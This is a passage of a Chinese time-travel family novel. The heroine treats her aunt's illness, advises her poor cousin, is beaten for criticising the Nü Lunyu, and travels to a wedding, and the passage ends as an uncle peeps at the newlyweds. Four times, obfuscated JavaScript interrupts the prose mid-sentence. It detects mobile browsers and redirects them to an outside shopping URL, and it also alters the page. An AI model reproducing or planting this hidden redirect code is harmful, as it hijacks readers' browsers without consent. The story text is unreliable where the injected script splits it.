曹氏连连点头。 晚书转身对安亭蕴道：“这是骨痿之症，古称龟背佝偻。” 安亭蕴不懂医理，但听她说得在理，忙问：“可能治么？” “需得从补益肝肾，强筋壮骨入手。具体方剂，我还需查证典籍。” 当夜，晚书一回府便扎进书房。终于在《岐黄精要》中寻到些线索，又翻出《千金方》、《外台秘要》，相互参详。 一大早，她亲自赶往安家。 安亭蕴正服侍他母亲用药，见她又来，连忙迎出。 晚书将方子递上，又细细嘱咐：“这药须文火慢煎三个时辰。服药期间忌食生冷，每日午间扶姑母在院里晒太阳，还得每日揉按腰背穴位。” 曹氏被她感动，叹道：“不想我病到这个地步，还能得晚辈如此尽心。” 晚书鼻子一酸，强笑道：“姑母说哪里话。您好生将养，等表哥当了大官，您还要享诰命夫人的福呢。” 安亭蕴送晚书至门外，深深一揖：“妹妹大恩，亭蕴没齿难忘。” 晚书忙避开：“表哥这是做什么？一家人原该互相扶持。” 安亭蕴轻轻叹了一声。 曹晚书疑惑问：“表哥为何事发愁？” 安亭蕴默然片刻，道：“不瞒妹妹，这些年为母亲治病，家里田产铺面已变卖大半。此次赴京，已是破釜沉舟。” 晚书这才知他境况。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202122|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原以为安家虽非显贵，总该是小康之家，不想艰难至此。 “表哥如今入了翰林，总有俸禄可依罢。” 安亭蕴苦笑道：“翰林院应酬繁多，前日同年邀我去赴诗社，单是入门帖便要五两。” 晚书想了想：“倒也是。表哥如今是官身，四季官服、拜帖门敬，一样也省不得。” 她说着说着，忽然灵机一动：“表哥可善书法？” “尚可。” “我听说琉璃厂一带，常有店家求名人题匾。表哥是天子门生，新科进士，若肯挥毫，一幅字少说也能得十两润笔。还有，国子监附近多有富家子弟求人代写文章，表哥文采斐然，没准儿还能多赚几个呢。” 谁料安亭蕴正色道：“代写文章有违圣贤教诲，此非君子所为。” 晚书心里默默吐槽了他一番：真是迂腐。这一不偷二不抢，凭笔墨功夫换些药资，倒成了违背圣训？可见这圣贤书读死了，反不如市井妇人懂得变通。 她到底没有把这些话说出，只道：“那我回去再与母亲说，将我家京郊一处小田庄借与表哥家打理，收成对半分行否？总好过荒着。” 她这番安排倒周全，既全了读书人的体面，又解了燃眉之急。 安亭蕴眼眶发热，道：“不必了。这般劳烦府上，我心何安呢。” “亲戚间原该守望相助。还有你那些诗社文会不必次次都去，择一二清贵的参与便是，还能省些银子。” 她的话，安亭蕴听进去了。 不过曹家的那处田庄他没要，只接些笔墨营生，日子宽裕许多。 可喜的是，曹氏服药半月，晌午晒太阳，已能靠坐片刻。月余时，在搀扶下，也能缓行数步。 这日，安亭蕴照常往翰林院听讲。 新科进士们多在假期中四处宴饮，唯他每日必到，风雨无阻。 课毕，众人散去。 他独坐窗下，将今日所讲与曹晚书对她说过的话一结合，才恍然大悟：“史书中的治乱兴衰，与一家之收支盈缺，道理原是相通的。” 凝神间，身后有人道：“安进士好勤勉。” 回头一看，是翰林学士□□。 这位苏学士以博学耿直著称，寻常进士难得见他一面。 安亭蕴忙起身行礼。 □□摆摆手，踱至案前，见他纸上密密麻麻记的不仅有史论，还有米价田租等数，不由奇道：“安进士这是在算经济账？” 安亭蕴赧然：“让学士见笑。学生家贫，不得不算计这些俗务。” □□拈须微笑：“《大学》有云：‘生财有大道，生之者众，食之者寡，为之者疾，用之者舒，则财恒足矣。’这理财之事，何俗之有？倒是那些只知吟风弄月，不问稼穑的，才是真俗。” 说罢，在他对面坐下，与他论起古今赋税之制来。 从唐代租庸调，讲到本朝一条鞭法，又说到地方胥吏中饱私囊的种种手段。 安亭蕴说了很多，引得□□抚掌称赞。 “怪道这几日不见你赴宴，原来在此处琢磨真学问。那些个琼林宴、曲江会，倒少了你这枝锦绣笔。” 11. 风雨同途 枯荷雨溅离魂泪 亭蕴忙搁下狼毫起身，拱手道：“苏大人取笑了。下官不过效仿古人三更灯火五更鸡之意，怎比得诸位同年白日放歌须纵酒的雅兴。” □□走过去问：“在这里瞧见你好几次了，怎么不跟他们一起去参加新科进士聚会呢？ 安亭蕴回道：“参加过几场，是我家境贫寒，拿不出多余的钱再去参加聚会。” “官家不是赐给你三千贯铜钱，供你们聚会专用吗？况且，你不跟他们打好关系，日后的仕途是很难走的。” 安亭蕴扯了扯嘴角笑笑，又道：“交游贵在神契，岂在觥筹。桓次公有云，‘林中多疾风，富贵多谊容’，下官愿作深根之木。” □□觉得此话有些道理，他当年也是散尽家财去参加聚会和那些人打好关系，可是又有什么用呢？ 朝堂上该给你使绊子的还是会使绊子，对你好的人不论如何，都会对你好。 □□哈哈大笑了两声，拍了拍安亭蕴的肩膀，说道：“好，那你就继续丰满羽翼吧。” □□刚迈出门槛，忽然间又停住，好像是想到了什么，又折返回来，对他说：“对了，我家的金缠腰开花了，开的那叫一个艳。相传此花一开，便有人要做宰相，也不知真假。 此花一连开了三朵，我和韩公关系近，便邀请了他来参加花宴，剩下一个，实在是找不到好的人选。今日你说的那番话，算是说到我心坎里去了。不如，明日来我府上，也沾沾这个喜气如何？” 安亭蕴倒是听说过这个典故，相传是韩魏公任扬州太守时，此花忽开四枝，后果然四位赏花人皆入中枢。 他连忙谢道：“感激不尽，明日一定准时赴宴。” □□倒是对他起了一些兴致，干脆坐下来，跟他好好聊聊。 “如果，我是说如果有一天，你真的拜相了，你会如何？”他试探道。 安亭蕴想了想，微笑道：“唯以赤心奉君，以公心治世，不负陛下知遇，不负天下生民。” □□听后，眸光一亮，又道：“你方才说深根之木。老夫倒想听听，这木要深到何等程度，才禁得起宦海风波？” 安亭蕴缓声道：“下官幼时，听乡里老人说过一个故事。曾有一棵柳树，历三次河决而不倒，只因根须探入地下十余丈，遇浊流则蓄力，逢旱季则深潜。我想，为官者若似此柳，根系当扎在黎庶田畴之间，而非朱门酒宴之中。” □□听罢，回想起自己当年初入翰林的时候，一时怔住。 窗外有雀儿啁啾掠过，他才倏然回神，又问道：“若有一日，你须在深根与高枝间抉择，当如何？” 安亭蕴笑了笑，侧过头看着院里，抬手虚指着一颗梅树：“大人请看此树。开花时众人争赏，零落后谁复垂怜？可它依旧岁岁萌蘖，不因宠辱易其节。” □□指着他道：“你可知，今日这番话若传出去，多少人要笑你痴？” 不等安亭蕴回答，他自己先摇了摇头：“可官场里，缺的正是这等痴人。” 二人又谈论了一会儿，□□心内越发欢喜，笑道：“罢了，不扰你理事了。明日巳时，我府中静候。”说罢，拂袖离去。 且说曹家这边。 曹晚书一进院，沿着一条青灰的石砖路一直往前走，穿过暗红色的扇门，便来到了正厅。 曹老太太坐在上首的紫檀椅上，手里不停转动着佛珠。 下首坐着的是宋夫人王夫人，和几个哥哥姐姐们。 曹晚书见过长辈们，便来到宋夫人身边坐下，听他们商议事情。 “你们的大姐姐，已经定了永定候府的顾小侯爷，打算在腊月十五成亲。舆哥儿也已经行军打仗去了。等大姐儿的婚事办完，就该为辕哥儿、轸哥儿、轴哥儿寻一门好亲事。 玉书、晚书、兰书也都大了，该有自己的一个院子，学着理事。轼哥儿如今还小，应以学业为重。你们几个，都是咱们曹家的子孙。 要知道，一个家族纵使有开天辟地的祖先，如果没有能够中兴的子孙，没有可以维继的产业，终会没落。咱们家此时眼看着正在走向末路，以后能不能振兴家业，可就靠你们这辈人了。” 曹老太太说完，接过刘妈妈递过来的茶水喝了几口，润润嗓子。 曹辕道：“祖母放心，爹爹已经为我们请来了吕先生讲课。等到三年后的春闱，孙儿一定会竭尽全力金榜题名，为祖宗争光。” “好，只要你们有出息，我也就放心了。”曹老太太放下茶碗，又对着王夫人接着说，“如今轸哥儿轴哥儿也大了，赶紧给他们找个明理懂事的媳妇，好好约束一下，别一天到晚的往勾栏瓦舍里跑。” 王夫人深深叹了口气，皱着眉头，一副很为难的样子，说道：“老太太，我何尝不想给他们哥俩找一个好媳妇，可是他们俩的名声在外头都臭了，谁家正经姑娘愿意嫁过来呀。 官人走的早，撇下我们娘几个，实在是男孩大了管不住。还得请老太太您，有什么好姑娘多替他哥俩儿留意着些。” 曹轸曹轴兄弟俩，低着头不敢说话，也不敢和曹老太太对视，一下子蔫了似的。 “唉，自明日起，轸哥儿轴哥儿不许再外出，跟着辕哥儿轼哥儿一起去书院读两年书去吧，好好改改你们这个性子。” 人散后，曹晚书深吸了一口气，粉嘟嘟的小脸上，露出一股淡淡的忧愁来。 果子跟在她身后，有些想不通，为什么姑娘的眉头总是微微皱起，为什么姑娘总是一阵阵的叹气。 曹晚书趴在栏杆上，呆呆地看了许久，忽然回头问：“果子，微湖的荷花应该开了吧？” 果子忙答道：“开了，我昨儿去给夫人送东西，路过微湖正好瞧见的。” “走，咱们游湖去。” 今年满湖的荷花开得依旧艳，荷叶有的浮在水面上，有的高高立着，卷着卷儿，衬的荷花愈发的亭亭玉立。 曹晚书拉着果子上了小船，她手中的船浆在湖水里拨开，泛起一阵阵水花。 果子顺手摘下一个莲蓬，剥开皮，将莲子放在嘴里尝了尝，一股清甜在口中蔓延开来，她满意的点点头，忍不住又剥了几个，放在曹晚书嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202123|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。 “姑娘快尝尝，可甜了。” 不一会儿，小船上就堆起了莲蓬小山。果子吃的心满意足，又摘下两片荷叶，一片盖在自己头顶，一片盖在曹晚书头顶，还咯咯笑道：“这下可晒不着了。” 小舟不知不觉漂到一片水域。 晚书索性放了桨，任船儿随风荡漾。 不远处有几枝残荷，枯叶低垂，与周遭的鲜妍恰成对照。 她凝神看了许久，枯荷虽然没有盛放时的灼灼之姿，却另有一种经风霜后的沉静之美。 一茎残叶半卷，在潋滟波光里显得格外孤清，不争不喧，自成一境。 又听得“扑棱棱”一阵响，船惊起了芦苇丛中几只苍鹭。 苍鹭白羽掠水，长颈舒展，转瞬没入天际烟霞之中。 此情此景，倒让她想起易安居士那句“争渡，争渡，惊起一滩鸥鹭”。 天色渐渐向晚，空中飘起绵绵细雨。 晚书与果子撑起油纸伞，并肩坐着看雨滴落在湖面，漾开万千波纹。 后方忽有人唤：“五姑娘，天色不早了，该回府了！” 回头一看，有一艘画舫，不知何时悄悄跟在后头。 晚书讶然：“他们几时来的？” 果子抿嘴笑道：“早跟着了，怕扰了姑娘雅兴，一直远远缀着。” 怪不得，不过也好，她原本还害怕不知道回去的路呢，这下心里也踏实了。 自此之后，曹晚书便常来这里。 有时独自撑船，有时凭栏静望，一坐便是半日。 一日，天才微微透亮。 晚书忽从梦中惊醒，额上冷汗涔涔。 她梦见了自己的爸妈，又梦见书里曹府被抄家后的惨状。 朱门贴了封条，园中荒草萋萋，姊妹们哭哭啼啼被官媒拉走。 窗外细雨淅沥，她赤着脚跳下床，胡乱趿了绣鞋便往外跑。 果子被她惊醒，见她只穿着单薄中衣，慌忙抱起外裳追出去。 晚书一路奔至微湖，一下子扑在石栏上，泪水夺眶而出。 待果子赶到，她已瘫坐在小木桥边，浑身湿透，脸上也分不清是雨是泪。 果子忙将衣裳给她披上，急道：“姑娘这是怎么了？快回去罢，仔细着凉。” 晚书仰起脸，任雨水打在面上。 她本不属于这里。 那个有汽车高楼的二十一世纪，才是她的故土。 而此处，处处是桎梏，步步要小心，稍有不慎便是万劫不复。 “果子，”她忽然抱住丫鬟，将脸埋在她肩头，呜咽道，“我想家了，我想回家。” 果子茫然拍着她的背：“这儿就是姑娘的家啊。” 晚书摇头，泪落得更急。 她的乡愁，这世间无人能懂。 良久，她止了泪，挽住果子的手站起身。 雨不知何时停了，乌云渐渐散去，太阳高高升起。 她望着天上的微光，轻轻道：“咱们回去罢。从今往后，我要好好活着。” 12. 释前嫌慈母惜娇儿 这日，曹老太太把几位姑娘叫到上房，命人搬了绣墩，围坐在跟前，听她们念《女论语》。 待念完了，曹老太太点点头，道：“回去各自抄写一遍，仔细记在心里。明儿一早我查功课，可别怨我不讲情面。” 曹晚书对书里这些糟粕实在是不满，起身道：“祖母，孙女有句话不知当讲不当讲。这书里有些话，依孙女看，实是糟粕。理当取其精华，去其糟粕才对。” 曹老太太本已扶了刘妈妈的手预备起身，闻言又坐下，看了她一眼，道：“你倒说说，哪些是糟粕，哪些是精华？” “譬如‘夫若发怒，不可生嗔。退身相让，忍气低声’。这便是糟粕。凭甚么男人发火，咱们女人就得忍气吞声？他错了也要让，他对了也要让，这样让一辈子，让到什么时候是个头？” 曹老太太道：“你再看底下那句。‘莫学泼妇，斗闹频频’。若夫妻二人为争谁有理，日日吵嚷，生了嫌隙，少不得妻妾纷争，家宅不宁。到那时，吃亏的又是谁？” 曹晚书抿了抿嘴唇，半晌道：“祖母的意思是，但凡男人错了，咱们也只得为了家宅太平，一味忍着让着。这样活着，岂不憋屈。” 曹老太太怔了一怔：“怪不得人说女子无才便是德。你读了书，倒读出这些念头来了。” “孙女妄揣，这话必是男人编的。他们怕女子读了书便有了见识，有了见识便不肯俯首帖耳，由着人摆布。” 曹老太太的脸白了。 她看着这个孙女，不过十三四岁的年纪，眉目还带着稚气，说话却这样锋利。 这丫头心性太高，口角太利，将来出了门子，婆婆跟前、妯娌之间、丈夫面前，她能这样说话么？怕是不出三日就要被休回娘家。 老太太想到这里，心里又急又疼。如今若不叫她吃些教训，往后只怕还有大苦头。 她沉着脸，重重拍了一记案几，厉声道：“把戒尺拿来！” 刘妈妈从后头匣子里取了一柄乌木戒尺，双手递上。 曹晚书跪在地上，把手心朝上伸出去。第一板子落下，掌心登时红了一道。 她咬着唇，把手往后缩，又被老太太拉回来。一连五六下，掌心肿得老高。 老太太把戒尺往案上一搁，道：“今儿夜里你到祠堂跪着，把《女论语》抄了，再把《女戒》一并抄了。明儿我第一个考你。抄不完不许起来，不许人替。都下去罢。” 众人诺诺散了。 果子跟在曹晚书后头，出了上房，看着姑娘那只红肿的手，把帕子递过去，低声道：“姑娘，先凉一凉罢。” 曹晚书摇了摇头，把手收进袖子里，没说话。 入夜，祠堂里只点了两支烛。风从门缝钻进来，烛火摇了又摇，在神主牌位上投下忽长忽短的影子。 曹晚书跪在蒲团上，手心肿得捏不住笔，一握就疼，她便放慢了写，写几个字歇一歇。 果子在一旁磨墨，小声道：“姑娘何苦跟老太太争这个。书上写的，不都是寻常理儿么？奴婢听刘妈妈说，像魏国长公主，那可是天下女子的榜样，三从四德，没一处不好的。公主那样的尊贵，尚且如此，咱们又算什么。” 曹晚书一面写着，一面说道：“驸马辜负了她，在外头养外室、生孩子。官家怪罪驸马，公主还替他求情，把外室母子接进府里养活。人人都夸她贤惠、温良、大度，可是，公主当真欢喜么？” 果子张了张嘴，答不上来。 她没读过书，不认得几个字，可她也知道，自己将来的男人若在外头有了人，还要接回家一处过日子，她大约是不能的。 那样的事，光是想想，心里就堵得慌。 曹晚书没再说话，低头继续抄。 第二日一早，姐妹们又聚在上房。曹晚书跪了一夜，膝盖青紫，走路都有些跛。 曹老太太看在眼里，没说什么，只叫众人都坐下。 刘妈妈给她搬了绣墩，她谢了坐，挨着半边坐下。 “五丫头，说说，如何侍奉公婆？” 曹晚书垂着眼，像背书一般：“姑坐则立，使令便去。早起开门，莫令惊忤。洒扫庭除，内外整洁…” “咆哮尊长，说辛道苦，呼唤不来，饥寒不顾。如此之人，号为恶妇。天地不容，雷霆震怒…” 曹老太太忽然叹了一声。 她招手把晚书拉到身边，掀起了她的裙角。膝盖青里泛紫，老太太伸手摸了摸，满是心疼。 “祖母打你，罚你，是怕你日后吃亏。你这心性，这口齿，到了婆家，凡事不肯低头的，婆婆妯娌如何容你？世人那张嘴，轻了说你一句‘悍妇’、‘妒妇’，男人厌了，冷着你，搁着你，外头再寻别人；重了休回娘家，到那时，天地虽大，哪里是你的安身处？” 曹晚书静了一静，慢慢道：“孙女想通了，只是孙女心里并不服。凭甚么男人可以发脾气，三妻四妾，咱们就得三从四德，太不公了。” 曹老太太道：“我年轻那会儿，也有过这念头。只是出了阁，生了孩子，一大家子人指着你，由不得你不低头。罢了，怪只怪咱们生在这个年月。” 曹晚书没再说话，靠在老太太怀里。老太太轻轻拍着她，像拍个孩子。 她心里再不服气，也不敢说什么了，生怕再去跪一夜祠堂。 隔了片刻，老太太道：“前儿老家带来信，你们辐大哥哥要成亲了。我老了，这么远的路，懒得动弹。到时叫你母亲带你们姊妹几个去，替我给他道声喜。” 玉书有些意外，道：“辐哥哥都要成亲了？日子过得可真快。” “你明年及笄，可不快么？”老太太笑道，“四十年弹指一挥，我如今照镜子，已是风烛草露了。” 兰书忙笑道：“祖母精神矍铄，依我看，倒比从前还硬朗些。” 老太太被她逗笑了，指着她道：“你这猴儿，专拿我取笑。” 玉书又问：“新嫂子是哪家的？” 老太太道：“是济州通判薛大人的爱女。听说是个有才情的，琴棋书画样样来得，在家时还帮着她父亲料理过衙门里的账目。辐哥儿那孩子，打小老实，能娶到这样的媳妇，是他的福气。 我老婆子是没眼福见了，你们替我去瞧瞧。见了面，替我道声喜。” 众人又笑谈了一回，老太太显出乏了，刘妈妈便服侍她进里间歇息。姊妹们各自散了，回屋收拾行装。 过了几日，宋夫人带着几位姑娘启程回山东老家。 曹晚书上船时兴致还好，趴在栏杆上看着河水。 谁知不过半日，曹晚书便头晕目眩起来。起初只是有些闷，她没在意，还坐着看了一会儿水。渐渐便觉天旋地转，胃里翻涌。 果子扶她回舱躺下，刚躺下便吐了一回。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202124|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果子急得满头汗，梅子在一旁打转，把舱里能翻的地方都翻遍了，只找出几块陈皮，又不敢给她乱吃。 两个丫头束手无策，梅子嘴里不住念叨：“姑娘病成这样，夫人那边也没个人过来看看。” 曹晚书昏昏沉沉的，被她俩吵得脑仁疼，摆摆手道：“你们且下去，让我静静躺着。” 果子不肯走，把帘子放下来，搬个小杌子守在舱门口。 梅子赌气出去了，不多时又回来，端了盏温水放下。 挨到夜里，曹晚书还迷糊着，听外头脚步乱响，吵吵嚷嚷的不得安生。 她披衣起身，扶着舱壁往外走。 走到宋夫人舱外，只见里头灯火通明，人影憧憧。 曹晚书扶着门框，往里探了探头。宋夫人守着曹玉书，脸都白了，刘妈妈在边上递帕子、换水，也是忙得脚不沾地。 “母亲，四姐姐怎么了？” 宋夫人原记着上回的事，待她总淡淡的，这时正乱着，更没好气：“你又能帮什么忙。自己还病着呢，出来吹风，回头更重了，我又要分神照看你。” 曹晚书仍旧和气问：“母亲总得告诉我什么事，我才好想主意。” 宋夫人没理她，转身给玉书掖被角。 曹晚书自己慢慢走过去，见玉书蒙着两床厚被，面色潮红，嘴唇干得起皮。她伸手一探额头，火炭似的。 “四姐姐发热了，不能盖这样厚。”曹晚书说着便要去揭被子。 宋夫人一把拦住，怒道：“你要冷死她不成？” 曹晚书道：“发热是要散热的。里头烧着，外头再捂着，热散不出去，越烧越高。”说罢，把上面那层厚被揭了。 宋夫人劈手夺回被子，恨声道：“你一个孩子家，懂什么？万一你四姐姐冻出个好歹来，是你担着还是我担着？” 曹晚书没争辩。 她走到铜盆边，摸了摸里面的水，已是温的了。便唤果子去外头打凉水，自己把玉书额上的帕子取下来，在冷水里浸了，拧到半干，覆了上去。 “我往日发热，都是这样治的。母亲不信我，我也没法子。” 说罢，她扶着果子慢慢走了。 刘妈妈小声道：“夫人，五姑娘说的倒也有几分道理。” 宋夫人低头看着玉书，那张小脸烧得红扑扑的，眉头拧着，嘴唇都干了。 她伸手摸了摸被褥，到底把上面那层揭了。一夜她都没合眼，隔半个时辰便换一次帕子，喂一回水。 到天亮时，曹玉书悠悠醒来，出了一身透汗，烧全退了。 早饭时，宋夫人把一碟子细巧点心挪到晚书面前，又亲手给她布了一箸春不老，道：“五丫头，头还晕不晕？” 曹晚书道：“睡了一夜，比昨日好多了。多谢母亲惦记。” 宋夫人讪讪地笑了笑，低头喝粥，半晌又道：“昨儿夜里我也是急糊涂了，说话没轻重，你别往心里去。” 曹晚书放下筷子，笑道：“母亲是心疼四姐姐，我明白的。咱们都是为了四姐姐好，我从不曾怪过母亲。换了是我病着，母亲也一样照看。” 宋夫人怔了一下，慢慢点点头。她把那碟子点心又往晚书跟前推了推，道：“好孩子，多吃些。还有三四日的船，不吃东西身子撑不住。” 曹晚书应了，夹了一块枣泥酥，慢慢吃着。 13. 老色鬼 回到舱里，梅子还在那里闷闷的，嘴撅得能挂油瓶，手里擦着桌子，抹布东一下西一下，像跟桌子有仇似的。 曹晚书歪在榻上，觑着她笑道：“这是谁欠了你银子不成？桌子都要被你擦脱一层皮了。” 梅子停下手，把抹布往盆里一扔，回过身来，怨道：“姑娘自上了船就身子不爽，夫人那边又不是不知道，也不来瞧一眼。夜里四姑娘发热，姑娘好心过去帮忙，倒叫夫人劈头骂了一顿。今早发现姑娘说得在理，这才赶着来嘘寒问暖，早做什么去了？打量人是傻子呢。” 曹晚书把枕头挪了挪，仰面躺着，望着舱顶。 她看了会子，慢悠悠道：“宋夫人做到那份上，已经很不易了。我原不是她生的，她肯拿我当女儿待，我也肯拿她当母亲敬。这就够了。” “因着大姐姐那件事，母亲心里存了芥蒂，我是知道的。她不是那等阴毒人，只是脾气来得快，嘴上不饶人。昨夜那样说我，是气头上，不是成心的。今早能当着人面赔不是，这已十分难得。若是换了那等面上一套心里一套的，岂不更叫人寒心？” 梅子想了想，倒也是这个理。 幸亏府里老太太坐镇，太太又不是歹毒心肠，姑娘又会处事，这才能在府里过得安稳。 她遂不再抱怨，回头收拾茶盏，瞧见曹晚书不知何时又翻过身，趴在枕上翻看账册。 船行又两日，这一日午后，终于泊了岸。 孙夫人派了人在码头候着，一乘青帷小轿，几辆骡车，把宋夫人并几位姑娘接进府去。 曹晚书掀帘往外看，门楣上悬着“曹宅”二字匾额，门前栽着两株槐树。 进了二门，孙夫人迎出来，身后跟着二儿一女。 大儿曹辐二十出头，生得敦厚。旁边站着的是曹轮，十八九岁模样。再往后躲着个小姑娘，不过十几岁，揪着孙夫人的衣角，探出半边脸来瞧人。 孙夫人笑道：“这是你们辐大哥哥，这是轮二哥。”她又把身后小姑娘拉出来，“这是姝书，比晚书小几个月。姝丫头，还不叫姐姐？” 曹姝书低着头，蚊子似的哼了一声，便不肯再开口。 孙夫人嗔道：“这孩子，平日在家里话多得很，见了人倒成了锯嘴葫芦。”说着便命曹姝书带几位姐姐往后园子去玩耍。 在前厅时，看这姝书姑娘有些怯懦，本以为是个不爱说话的。 可是一出来，就小嘴叭叭，不停地问：“东京是什么样的？和咱们济州有什么区别吗？” 曹玉书便道：“东京比济州繁华得多，只是东西也贵。譬如一斤猪肉，济州不过一百文上下，京城便要一百五十文，有时还买不着。寻常人家，能隔几日吃回猪肝，已是极体面的了。” “那京城都有什么好玩的？”她又问。 曹兰书答道：“那当属是大相国寺了，每月会开放五日，开市之日商旅云集，各类物品应有尽有。甚至宫里还会牵出来一些奇珍异兽，有大象、孔雀、驺虞、神羊等等，可热闹了。” 曹姝书听得入神，道：“等金书姐姐成亲，我也要去京城，到大相国寺看大象去。” 说了一回，她又问：“怎么这回金书姐姐没来？” 曹玉书道：“大姐姐婚期近了，忙得脚不沾地，哪里分身得来。” 正说着，见曹辐从前头小径过来，见了这边几位妹妹，脚步顿了一顿，似是想过来招呼，又有些踌躇。 曹兰书眼尖，先笑道：“新郎官来了！” 曹辐登时红了脸，背过身去，讷讷道：“妹妹们休要取笑…妹妹们在这儿玩，我先…先过去了。”说罢低着头，脚不点地般逃了。 姐妹几个看着他那背影，忍不住笑作一团。 曹辐低头走着，心里还突突的，冷不防迎面撞上一人，抬头一看，是自家父亲曹贵。 他忙退后一步，垂手恭立，道：“爹。” 曹贵淡淡扫了他一眼，也不停步，径自往前去了。 曹姝书本在后头跟着几位姐姐，远远望见曹贵往这边来，脸色微微一变，拉着曹晚书的袖子便要往岔路拐。 曹贵瞧见她这举动，在后头嘀咕了一句：“这丫头，瞧见我躲甚么？” 曹兰书悄声道：“姝书，三叔叫你呢。” 姝书这才停下，慢慢回过身，往那边望了一眼。 待曹贵走远了，她方慢慢走到一块大石边坐下，两手托腮，望着天，半晌不言。 曹晚书走到她身旁，挨着坐下，也不问，只陪她看天。 过了好一会儿，曹姝书轻轻道：“我领你们上山捉野鸡去。” 她面上带着笑，但是眼底还有些沉沉的，看起来像强颜欢笑。 过了两日，正日子到了。 天还没亮透，外头便响起炮竹声，一阵阵噼里啪啦。迎亲的队伍回来了，锣鼓喧天，人声鼎沸，满院子都是看热闹的。 曹晚书跟着姐妹们挤在人堆里，踮着脚往堂前张望。 她个头矮，前面的人又高，一会儿踮脚，一会儿蹦几下，只看见一片红彤彤的人影晃动，新郎官新娘子拜堂的模样，却一点儿也瞧不着。 曹轮站在一旁，看她那着急忙慌的样子，忍不住笑道：“五丫头，实在不行搬个杌凳来，站在上头看。” 曹晚书扭头瞪他：“轮二哥，你是笑话我矮么？” 曹轮笑而不答。 曹晚书自己也撑不住笑了。矮便矮罢，横竖还小，再过两年，未必不长。 里头礼成，宾客入席。 宋夫人与王大娘子商议，既已吃了喜酒，明日便该启程回京。 不料曹辐过来，拱手道：“伯母，侄儿斗胆相劝，还是暂留几日为妥。近来外头不甚太平，路上恐有闪失。” 宋夫人吃了一惊，道：“难不成是有流寇作乱？” 曹辐叹了口气，道：“连着几年旱涝不均，有的地方赤地千里，颗粒无收。百姓没了活路，只好往山里躲，渐渐地啸聚成群。朝廷不但不加抚恤，反而添了捐税，那些本已揭不开锅的小民，越发雪上加霜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202125|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 王夫人拍着腿，迭声道：“哎哟哟，这可了不得，这可了不得！” 曹轮在旁接口道：“还有一桩，朝廷不抑兼并，那些功臣勋贵，良田万顷还嫌不够，越发圈占。如今是富者田连阡陌，贫者无立锥之地。有力气的人寻不着田种，有田的人又雇不起人耕，这日子如何过得下去。” 孙夫人趁机道：“两位嫂嫂，好歹多住几日。等外头平定些，再走不迟。” 宋夫人在京城住惯了，天子脚下，安稳太平，何曾见过这等阵仗，心里先自慌了，便点头应允。一面又命邹妈妈写家书，打发人连夜送回京城，免得老太太悬心。 堂上大人们说着这些沉重话，姑娘们插不上嘴，便在一旁坐着。 曹晚书陪着姝书翻花绳，玩了好久，困得眼皮都沉了。 姝书忽然低声道：“你们猜，辐大哥哥这会儿在做什么？” 曹晚书抬起眼皮，见姝书眼睛亮晶晶的，藏着狡黠。 没等旁人答话，曹姝书自己便道：“我猜，定是娇妻在怀，红纱帐里度春宵呢！” 几位姑娘登时臊红了脸。 曹玉书啐道：“死丫头！嘴里没个把门的，真真不害臊！” 曹晚书忍着笑，把花绳往姝书手里一塞，道：“仔细叫婶子听见，揭了你的皮。” 曹姝书嘻嘻一笑，也不再说。 谁料这话偏叫曹贵听进了耳朵里。 他坐在厅上待坐了一会儿，起身往外走。 小厮跟上来，他摆摆手，只说：“走走醒酒，不用跟。” 夜已深了，月色如水。 院子门口的红灯笼还亮着，廊下本有值夜的丫鬟婆子，此时也都不知躲哪儿歇乏去了，静悄悄的，不闻人声。 曹贵放轻脚步，贴着墙根慢慢挪到窗下。 他把耳朵贴在门缝边，听里头隐隐有低语声，隔着一道门，听不真切，但被翻红浪，锦帐春深的光景，不言自明。 曹贵听了一会儿，心跳得快起来，手心也潮了。 他四下望望，又猫着腰蹭到窗根底下，伸出舌头濡湿指头，在新糊的窗纸上轻轻戳了个绿豆大的窟窿。 正要眯着眼往里瞧，听见有脚步声。 